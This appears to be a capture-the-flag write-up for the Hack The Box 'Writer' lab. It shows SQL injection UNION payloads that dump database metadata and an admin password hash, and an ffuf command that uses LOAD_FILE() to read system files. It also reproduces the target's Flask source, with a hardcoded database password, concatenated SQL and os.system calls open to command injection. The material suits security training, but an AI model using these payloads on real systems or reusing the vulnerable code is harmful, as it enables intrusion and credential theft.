SQL Injection
As discussed in the web enumeration, the SQL injection vulnerability is present in the authentication page at /administrative
Although it initially appeared that authentication mechanism alone was affected by the vulnerability, the later assessment suggested that there might be more to be done as it seems to be displaying what the backend SQL fetches.
' UNION SELECT 1,2,3,4,5,6-- -
The 2nd column is the username in the SQL query
Version, User, DB
' UNION SELECT 1,@@VERSION,3,4,5,6-- -
The backend database is 10.3.29-MariaDB-0ubtu0.20.04.1
' UNION SELECT 1,USER(),3,4,5,6-- -
The signed-in user is admin@localhost
' UNION SELECT 1,DATABASE(),3,4,5,6-- -
The current DB is writer
' UNION SELECT 1,GROUP_CONCAT(schema_name),3,4,5,6 FROM information_schema.schemata-- -
There are 2 DBs within the instance
information_schema
writer
Tables
' UNION SELECT 1,GROUP_CONCAT(table_name),3,4,5,6 FROM information_schema.tables WHERE table_schema='writer'-- -
There are a total of 3 tables within the writer
DB
- site
- stories
- users
These are all corresponding to resources at /dashboard
Since I am looking for a credential, I will check the writer.users
table
Columns
' UNION SELECT 1,GROUP_CONCAT(column_name),3,4,5,6 FROM information_schema.columns WHERE table_name='users' AND table_schema='writer'-- -
There are a total of 6 columns within the writer.users
tables.
id
username
password
email
status
date_created
I will grab the credential
Credential Extraction
' union select 1,group_concat(username,":",password),3,4,5,6 FROM writer.users-- -
the extracted credential is admin:118e48794631a9612484ca8b55f622d0
Hashcat was unable to crack the password hash
File Read
File read can be done through SQLi using the LOAD_FILE() function as long as the signed-in user has sufficient privileges
I tried reading the SSH files for both users but was not successful File Write doesn’t appear to be possible
SQLi File Read through Fuzzing
┌──(kali㉿kali)-[~/archive/htb/labs/writer]
└─$ ffuf -x post -c -w /usr/share/wordlists/auto_wordlists/wordlists/file_inclusion_linux.txt -u http://writer.htb/administrative -H 'Content-Type: application/x-www-form-urlencoded' -d "uname=' UNION SELECT 1,LOAD_FILE('FUZZ'),3,4,5,6-- -&password=blahblah" -fs 1571 -fw 280
________________________________________________
:: Method : POST
:: URL : http://writer.htb/administrative
:: Wordlist : FUZZ: /usr/share/wordlists/Auto_Wordlists/wordlists/file_inclusion_linux.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : uname=' UNION SELECT 1,LOAD_FILE('FUZZ'),3,4,5,6-- -&password=blahblah
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 1571
:: Filter : Response words: 280
________________________________________________
[...REDACTED...]
/boot/grub/grub.cfg [status: 200, Size: 13434, Words: 1421, Lines: 345, Duration: 120ms]
/etc/apache2/apache2.conf [status: 200, Size: 8758, Words: 1221, Lines: 260, Duration: 101ms]
/etc/adduser.conf [status: 200, Size: 4449, Words: 681, Lines: 121, Duration: 139ms]
/etc/aliases [status: 200, Size: 1342, Words: 290, Lines: 35, Duration: 129ms]
/etc/apache2/mods-available/autoindex.conf [status: 200, Size: 4741, Words: 592, Lines: 129, Duration: 95ms]
/etc/apache2/mods-available/deflate.conf [status: 200, Size: 1710, Words: 302, Lines: 43, Duration: 95ms]
/etc/apache2/mods-available/dir.conf [status: 200, Size: 1460, Words: 294, Lines: 38, Duration: 94ms]
/etc/apache2/mods-available/mime.conf [status: 200, Size: 9099, Words: 1222, Lines: 284, Duration: 95ms]
/etc/apache2/mods-available/proxy.conf [status: 200, Size: 2193, Words: 403, Lines: 60, Duration: 95ms]
/etc/apache2/mods-available/setenvif.conf [status: 200, Size: 2699, Words: 392, Lines: 65, Duration: 98ms]
/etc/apache2/mods-enabled/deflate.conf [status: 200, Size: 1710, Words: 302, Lines: 43, Duration: 96ms]
/etc/apache2/mods-enabled/alias.conf [status: 200, Size: 2194, Words: 394, Lines: 57, Duration: 101ms]
/etc/apache2/mods-available/ssl.conf [status: 200, Size: 4421, Words: 710, Lines: 118, Duration: 103ms]
/etc/apache2/mods-enabled/dir.conf [status: 200, Size: 1460, Words: 294, Lines: 38, Duration: 97ms]
/etc/apache2/mods-enabled/mime.conf [status: 200, Size: 9099, Words: 1222, Lines: 284, Duration: 95ms]
/etc/apache2/mods-enabled/negotiation.conf [status: 200, Size: 2027, Words: 388, Lines: 53, Duration: 98ms]
/etc/apache2/mods-enabled/status.conf [status: 200, Size: 2084, Words: 361, Lines: 62, Duration: 95ms]
/etc/apache2/ports.conf [status: 200, Size: 1635, Words: 315, Lines: 48, Duration: 98ms]
/etc/apache2/sites-enabled/000-default.conf [status: 200, Size: 2989, Words: 538, Lines: 80, Duration: 113ms]
/etc/apt/sources.list [status: 200, Size: 4080, Words: 560, Lines: 82, Duration: 110ms]
/etc/bash.bashrc [status: 200, Size: 3825, Words: 678, Lines: 104, Duration: 111ms]
/etc/ca-certificates.conf.dpkg-old [status: 200, Size: 7804, Words: 343, Lines: 192, Duration: 109ms]
/etc/ca-certificates.conf [status: 200, Size: 7868, Words: 343, Lines: 193, Duration: 113ms]
/etc/crontab [status: 200, Size: 2373, Words: 460, Lines: 55, Duration: 97ms]
/etc/crypttab [status: 200, Size: 1369, Words: 284, Lines: 34, Duration: 95ms]
/etc/dhcp/dhclient.conf [status: 200, Size: 3094, Words: 447, Lines: 87, Duration: 100ms]
/etc/debconf.conf [status: 200, Size: 4276, Words: 690, Lines: 116, Duration: 119ms]
/etc/deluser.conf [status: 200, Size: 1915, Words: 365, Lines: 53, Duration: 112ms]
/etc/fstab [status: 200, Size: 2002, Words: 363, Lines: 45, Duration: 97ms]
/etc/default/grub [status: 200, Size: 2787, Words: 429, Lines: 66, Duration: 145ms]
/etc/host.conf [status: 200, Size: 1391, Words: 295, Lines: 36, Duration: 98ms]
/etc/hdparm.conf [status: 200, Size: 6443, Words: 1036, Lines: 175, Duration: 100ms]
/etc/hosts.allow [status: 200, Size: 1714, Words: 361, Lines: 43, Duration: 110ms]
/etc/hosts.deny [status: 200, Size: 2018, Words: 407, Lines: 50, Duration: 108ms]
/etc/hosts [status: 200, Size: 1512, Words: 301, Lines: 42, Duration: 116ms]
/etc/init.d/apache2 [status: 200, Size: 10427, Words: 1779, Lines: 388, Duration: 116ms]
/etc/issue.net [status: 200, Size: 1310, Words: 282, Lines: 34, Duration: 108ms]
/etc/ld.so.conf [status: 200, Size: 1325, Words: 281, Lines: 35, Duration: 106ms]
/etc/issue [status: 200, Size: 1317, Words: 284, Lines: 35, Duration: 115ms]
/etc/ldap/ldap.conf [status: 200, Size: 1623, Words: 302, Lines: 50, Duration: 108ms]
/etc/logrotate.conf [status: 200, Size: 1832, Words: 356, Lines: 57, Duration: 108ms]
/etc/login.defs [status: 200, Size: 12106, Words: 1917, Lines: 374, Duration: 121ms]
/etc/lsb-release [status: 200, Size: 1403, Words: 282, Lines: 37, Duration: 99ms]
/etc/ltrace.conf [status: 200, Size: 16158, Words: 1290, Lines: 576, Duration: 99ms]
/etc/manpath.config [status: 200, Size: 6544, Words: 809, Lines: 165, Duration: 100ms]
/etc/modules [status: 200, Size: 1494, Words: 312, Lines: 38, Duration: 103ms]
/etc/mysql/my.cnf [status: 200, Size: 2295, Words: 402, Lines: 62, Duration: 100ms]
/etc/networks [status: 200, Size: 1382, Words: 290, Lines: 35, Duration: 105ms]
/etc/nsswitch.conf [status: 200, Size: 1821, Words: 410, Lines: 53, Duration: 96ms]
/etc/mysql/my.cnf%00 [status: 200, Size: 2295, Words: 402, Lines: 62, Duration: 112ms]
/etc/network/interfaces [status: 200, Size: 1446, Words: 292, Lines: 42, Duration: 104ms]
/etc/os-release [status: 200, Size: 1737, Words: 285, Lines: 45, Duration: 96ms]
/etc/pam.conf [status: 200, Size: 1843, Words: 344, Lines: 48, Duration: 95ms]
/etc/passwd [status: 200, Size: 3332, Words: 298, Lines: 71, Duration: 97ms]
/etc/passwd- [status: 200, Size: 3317, Words: 297, Lines: 71, Duration: 95ms]
/etc/passwd%00 [status: 200, Size: 3332, Words: 298, Lines: 71, Duration: 103ms]
/etc/profile [status: 200, Size: 1944, Words: 424, Lines: 60, Duration: 96ms]
/etc/resolv.conf [status: 200, Size: 2016, Words: 377, Lines: 51, Duration: 97ms]
/etc/rpc [status: 200, Size: 2178, Words: 315, Lines: 73, Duration: 97ms]
/etc/samba/smb.conf [status: 200, Size: 10623, Words: 1787, Lines: 281, Duration: 97ms]
/etc/security/access.conf [status: 200, Size: 6075, Words: 914, Lines: 155, Duration: 104ms]
/etc/security/limits.conf [status: 200, Size: 3540, Words: 1026, Lines: 89, Duration: 99ms]
/etc/security/namespace.conf [status: 200, Size: 2735, Words: 498, Lines: 61, Duration: 97ms]
/etc/security/group.conf [status: 200, Size: 5074, Words: 969, Lines: 139, Duration: 112ms]
/etc/security/pam_env.conf [status: 200, Size: 4335, Words: 708, Lines: 106, Duration: 96ms]
/etc/security/time.conf [status: 200, Size: 3566, Words: 621, Lines: 98, Duration: 99ms]
/etc/security/sepermit.conf [status: 200, Size: 1714, Words: 385, Lines: 44, Duration: 97ms]
/etc/ssh/ssh_config [status: 200, Size: 2894, Words: 524, Lines: 85, Duration: 95ms]
/etc/ssh/ssh_host_dsa_key.pub [status: 200, Size: 1892, Words: 282, Lines: 34, Duration: 93ms]
/etc/ssh/sshd_config [status: 200, Size: 4627, Words: 575, Lines: 157, Duration: 96ms]
/etc/sysctl.conf [status: 200, Size: 3645, Words: 529, Lines: 101, Duration: 95ms]
/etc/sysctl.d/10-console-messages.conf [status: 200, Size: 1368, Words: 292, Lines: 36, Duration: 97ms]
/etc/sysctl.d/10-network-security.conf [status: 200, Size: 1449, Words: 293, Lines: 39, Duration: 96ms]
/usr/share/adduser/adduser.conf [status: 200, Size: 4449, Words: 681, Lines: 121, Duration: 100ms]
/usr/share/pixmaps/debian-logo.png [status: 200, Size: 2917, Words: 285, Lines: 37, Duration: 99ms]
/var/log/dmesg [status: 200, Size: 129216, Words: 21323, Lines: 1695, Duration: 111ms]
/var/log/wtmp [status: 200, Size: 59803, Words: 283, Lines: 76, Duration: 101ms]
:: Progress: [2290/2290] :: Job [1/1] :: 357 req/sec :: Duration: [0:00:06] :: Errors: 0 ::
Performing SQLi through ffuf to conduct arbitrary file read
The -fs 1571 -fw 280
arguments were provided to filter out the default page and incorrect response.
While ffuf returned so many readable files in the target system, I will check the apache2 related files to get an idea of how the web server is configured The following 2 files seems most promising
/etc/apache2/apache2.conf
/etc/apache2/sites-enabled/000-default.conf
apache2.conf
Since the file returned with the HTML tags with many comments. I would need to process it for better review
I will first get rid of the HTML tags by decoding the content and filter out those lines starting with the
#
character
┌──(kali㉿kali)-[~/…/htb/labs/writer/web]
└─$ grep -v '^#' apache2.conf
DefaultRuntimeDir ${APACHE_RUN_DIR}
PidFile ${APACHE_PID_FILE}
Timeout 30
KeepAlive On
MaxKeepAliveRequests 0
KeepAliveTimeout 5
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}
HostnameLookups Off
ErrorLog ${APACHE_LOG_DIR}/error.log
LogLevel warn
IncludeOptional mods-enabled/*.load
IncludeOptional mods-enabled/*.conf
Include ports.conf
<Directory />
Options FollowSymLinks
AllowOverride None
Require all denied
</Directory>
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
AccessFileName .htaccess
<FilesMatch "^\.ht">
Require all denied
</FilesMatch>
LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %O" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent
IncludeOptional conf-enabled/*.conf
IncludeOptional sites-enabled/*.conf
The apache2.conf
file doesn’t seems all that helpful
000-default.conf
Same thing here, I will process the returned data for review
┌──(kali㉿kali)-[~/…/htb/labs/writer/web]
└─$ cat 000-default.conf
# Virtual host configuration for writer.htb domain
<virtualhost *:80>
ServerName writer.htb
ServerAdmin admin@writer.htb
WSGIScriptAlias / /var/www/writer.htb/writer.wsgi
<Directory /var/www/writer.htb>
Order allow,deny
Allow from all
</Directory>
Alias /static /var/www/writer.htb/writer/static
<Directory /var/www/writer.htb/writer/static/>
Order allow,deny
Allow from all
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
LogLevel warn
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
# Virtual host configuration for dev.writer.htb subdomain
# Will enable configuration after completing backend development
# Listen 8080
#<virtualhost 127.0.0.1:8080>
# ServerName dev.writer.htb
# ServerAdmin admin@writer.htb
#
# Collect static for the writer2_project/writer_web/templates
# Alias /static /var/www/writer2_project/static
# <Directory /var/www/writer2_project/static>
# Require all granted
# </Directory>
#
# <Directory /var/www/writer2_project/writerv2>
# <Files wsgi.py>
# Require all granted
# </Files>
# </Directory>
#
# WSGIDaemonProcess writer2_project python-path=/var/www/writer2_project python-home=/var/www/writer2_project/writer2env
# WSGIProcessGroup writer2_project
# WSGIScriptAlias / /var/www/writer2_project/writerv2/wsgi.py
# ErrorLog ${APACHE_LOG_DIR}/error.log
# LogLevel warn
# CustomLog ${APACHE_LOG_DIR}/access.log combined
#
#</VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
This time, I didn’t filter out those comments because they contains some important information
According to the comments, it seems that there is another virtual host, dev.writer.htb
, under development
While it is DISABLED therefore it can NOT be accessed, it is still important to notes that those files might be present
Additionally, the current virtual host, writer.htb
, is configured to be hosted from the /var/www/writer.htb
directory along with the /var/www/writer.htb/writer.wsgi
file
presence of the wsgi(Web Server Gateway Interface) file indicates that the target web server is hosting a Python application
writer.wsgi
Although it is inconvenient to see due to the HTML tagging, it is clear that the
/var/www/writer.htb/writer.wsgi
file points to the __init__.py
file for importing
The “app folder” is likely the /var/www/write.htb/writer
directory
__init__.py
While the file certainly returned, it needs processing
from flask import Flask, session, redirect, url_for, request, render_template
from mysql.connector import errorcode
import mysql.connector
import urllib.request
import os
import PIL
from PIL import Image, UnidentifiedImageError
import hashlib
app = Flask(__name__,static_url_path='',static_folder='static',template_folder='templates')
#Define connection for database
def connections():
try:
connector = mysql.connector.connect(user='admin', password='ToughPasswordToCrack', host='127.0.0.1', database='writer')
return connector
except mysql.connector.error as err:
if err.errno == errorcode.er_access_denied_error:
return ("Something is wrong with your db user name or password!")
elif err.errno == errorcode.er_bad_db_error:
return ("Database does not exist")
else:
return ("Another exception, returning!")
else:
print ('Connection to DB is ready!')
#Define homepage
@app.route('/')
def home_page():
try:
connector = connections()
except mysql.connector.error as err:
return ("Database error")
cursor = connector.cursor()
sql_command = "SELECT * FROM stories;"
cursor.execute(sql_command)
results = cursor.fetchall()
return render_template('blog/blog.html', results=results)
#Define about page
@app.route('/about')
def about():
return render_template('blog/about.html')
#Define contact page
@app.route('/contact')
def contact():
return render_template('blog/contact.html')
#Define blog posts
@app.route('/blog/post/<id>', methods=['GET'])
def blog_post(id):
try:
connector = connections()
except mysql.connector.error as err:
return ("Database error")
cursor = connector.cursor()
cursor.execute("select * from stories where id = %(id)s;", {'id': id})
results = cursor.fetchall()
sql_command = "SELECT * FROM stories;"
cursor.execute(sql_command)
stories = cursor.fetchall()
return render_template('blog/blog-single.html', results=results, stories=stories)
#Define dashboard for authenticated users
@app.route('/dashboard')
def dashboard():
if not ('user' in session):
return redirect('/')
return render_template('dashboard.html')
#Define stories page for dashboard and edit/delete pages
@app.route('/dashboard/stories')
def stories():
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.error as err:
return ("Database error")
cursor = connector.cursor()
sql_command = "Select * From stories;"
cursor.execute(sql_command)
results = cursor.fetchall()
return render_template('stories.html', results=results)
@app.route('/dashboard/stories/add', methods=['GET', 'POST'])
def add_story():
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.error as err:
return ("Database error")
if request.method == "post":
if request.files['image']:
image = request.files['image']
if ".jpg" in image.filename:
path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
image.save(path)
image = "/img/{}".format(image.filename)
else:
error = "File extensions must be in .jpg!"
return render_template('add.html', error=error)
if request.form.get('image_url'):
image_url = request.form.get('image_url')
if ".jpg" in image_url:
try:
local_filename, headers = urllib.request.urlretrieve(image_url)
os.system("mv {} {}.jpg".format(local_filename, local_filename))
image = "{}.jpg".format(local_filename)
try:
im = Image.open(image)
im.verify()
im.close()
image = image.replace('/tmp/','')
os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
image = "/img/{}".format(image)
except pil.unidentifiedimageerror:
os.system("rm {}".format(image))
error = "Not a valid image file!"
return render_template('add.html', error=error)
except:
error = "Issue uploading picture"
return render_template('add.html', error=error)
else:
error = "File extensions must be in .jpg!"
return render_template('add.html', error=error)
author = request.form.get('author')
title = request.form.get('title')
tagline = request.form.get('tagline')
content = request.form.get('content')
cursor = connector.cursor()
cursor.execute("insert into stories values (null,%(author)s,%(title)s,%(tagline)s,%(content)s,'published',now(),%(image)s);", {'author':author,'title': title,'tagline': tagline,'content': content, 'image':image })
result = connector.commit()
return redirect('/dashboard/stories')
else:
return render_template('add.html')
@app.route('/dashboard/stories/edit/<id>', methods=['GET', 'POST'])
def edit_story(id):
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.error as err:
return ("Database error")
if request.method == "post":
cursor = connector.cursor()
cursor.execute("select * from stories where id = %(id)s;", {'id': id})
results = cursor.fetchall()
if request.files['image']:
image = request.files['image']
if ".jpg" in image.filename:
path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
image.save(path)
image = "/img/{}".format(image.filename)
cursor = connector.cursor()
cursor.execute("update stories set image = %(image)s where id = %(id)s", {'image':image, 'id':id})
result = connector.commit()
else:
error = "File extensions must be in .jpg!"
return render_template('edit.html', error=error, results=results, id=id)
if request.form.get('image_url'):
image_url = request.form.get('image_url')
if ".jpg" in image_url:
try:
local_filename, headers = urllib.request.urlretrieve(image_url)
os.system("mv {} {}.jpg".format(local_filename, local_filename))
image = "{}.jpg".format(local_filename)
try:
im = Image.open(image)
im.verify()
im.close()
image = image.replace('/tmp/','')
os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
image = "/img/{}".format(image)
cursor = connector.cursor()
cursor.execute("update stories set image = %(image)s where id = %(id)s", {'image':image, 'id':id})
result = connector.commit()
except pil.unidentifiedimageerror:
os.system("rm {}".format(image))
error = "Not a valid image file!"
return render_template('edit.html', error=error, results=results, id=id)
except:
error = "Issue uploading picture"
return render_template('edit.html', error=error, results=results, id=id)
else:
error = "File extensions must be in .jpg!"
return render_template('edit.html', error=error, results=results, id=id)
title = request.form.get('title')
tagline = request.form.get('tagline')
content = request.form.get('content')
cursor = connector.cursor()
cursor.execute("update stories set title = %(title)s, tagline = %(tagline)s, content = %(content)s where id = %(id)s", {'title':title, 'tagline':tagline, 'content':content, 'id': id})
result = connector.commit()
return redirect('/dashboard/stories')
else:
cursor = connector.cursor()
cursor.execute("select * from stories where id = %(id)s;", {'id': id})
results = cursor.fetchall()
return render_template('edit.html', results=results, id=id)
@app.route('/dashboard/stories/delete/<id>', methods=['GET', 'POST'])
def delete_story(id):
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.error as err:
return ("Database error")
if request.method == "post":
cursor = connector.cursor()
cursor.execute("delete from stories where id = %(id)s;", {'id': id})
result = connector.commit()
return redirect('/dashboard/stories')
else:
cursor = connector.cursor()
cursor.execute("select * from stories where id = %(id)s;", {'id': id})
results = cursor.fetchall()
return render_template('delete.html', results=results, id=id)
#Define user page for dashboard
@app.route('/dashboard/users')
def users():
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.error as err:
return "Database Error"
cursor = connector.cursor()
sql_command = "SELECT * FROM users;"
cursor.execute(sql_command)
results = cursor.fetchall()
return render_template('users.html', results=results)
#Define settings page
@app.route('/dashboard/settings', methods=['GET'])
def settings():
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.error as err:
return "Database Error!"
cursor = connector.cursor()
sql_command = "SELECT * FROM site WHERE id = 1"
cursor.execute(sql_command)
results = cursor.fetchall()
return render_template('settings.html', results=results)
#Define authentication mechanism
@app.route('/administrative', methods=['POST', 'GET'])
def login_page():
if ('user' in session):
return redirect('/dashboard')
if request.method == "post":
username = request.form.get('uname')
password = request.form.get('password')
password = hashlib.md5(password.encode('utf-8')).hexdigest()
try:
connector = connections()
except mysql.connector.error as err:
return ("Database error")
try:
cursor = connector.cursor()
sql_command = "Select * From users Where username = '%s' And password = '%s'" % (username, password)
cursor.execute(sql_command)
results = cursor.fetchall()
for result in results:
print("Got result")
if result and len(result) != 0:
session['user'] = username
return render_template('success.html', results=results)
else:
error = "Incorrect credentials supplied"
return render_template('login.html', error=error)
except:
error = "Incorrect credentials supplied"
return render_template('login.html', error=error)
else:
return render_template('login.html')
@app.route("/logout")
def logout():
if not ('user' in session):
return redirect('/')
session.pop('user')
return redirect('/')
if __name__ == '__main__':
app.run("0.0.0.0")
while the __init__.py
file indeed shows the whole web application, there are a few notable points to make
- sql connection string;
admin
:ToughPasswordToCrack
- Both
add_story()
andedit_story()
function appear to be vulnerable to OS command injection through SSRF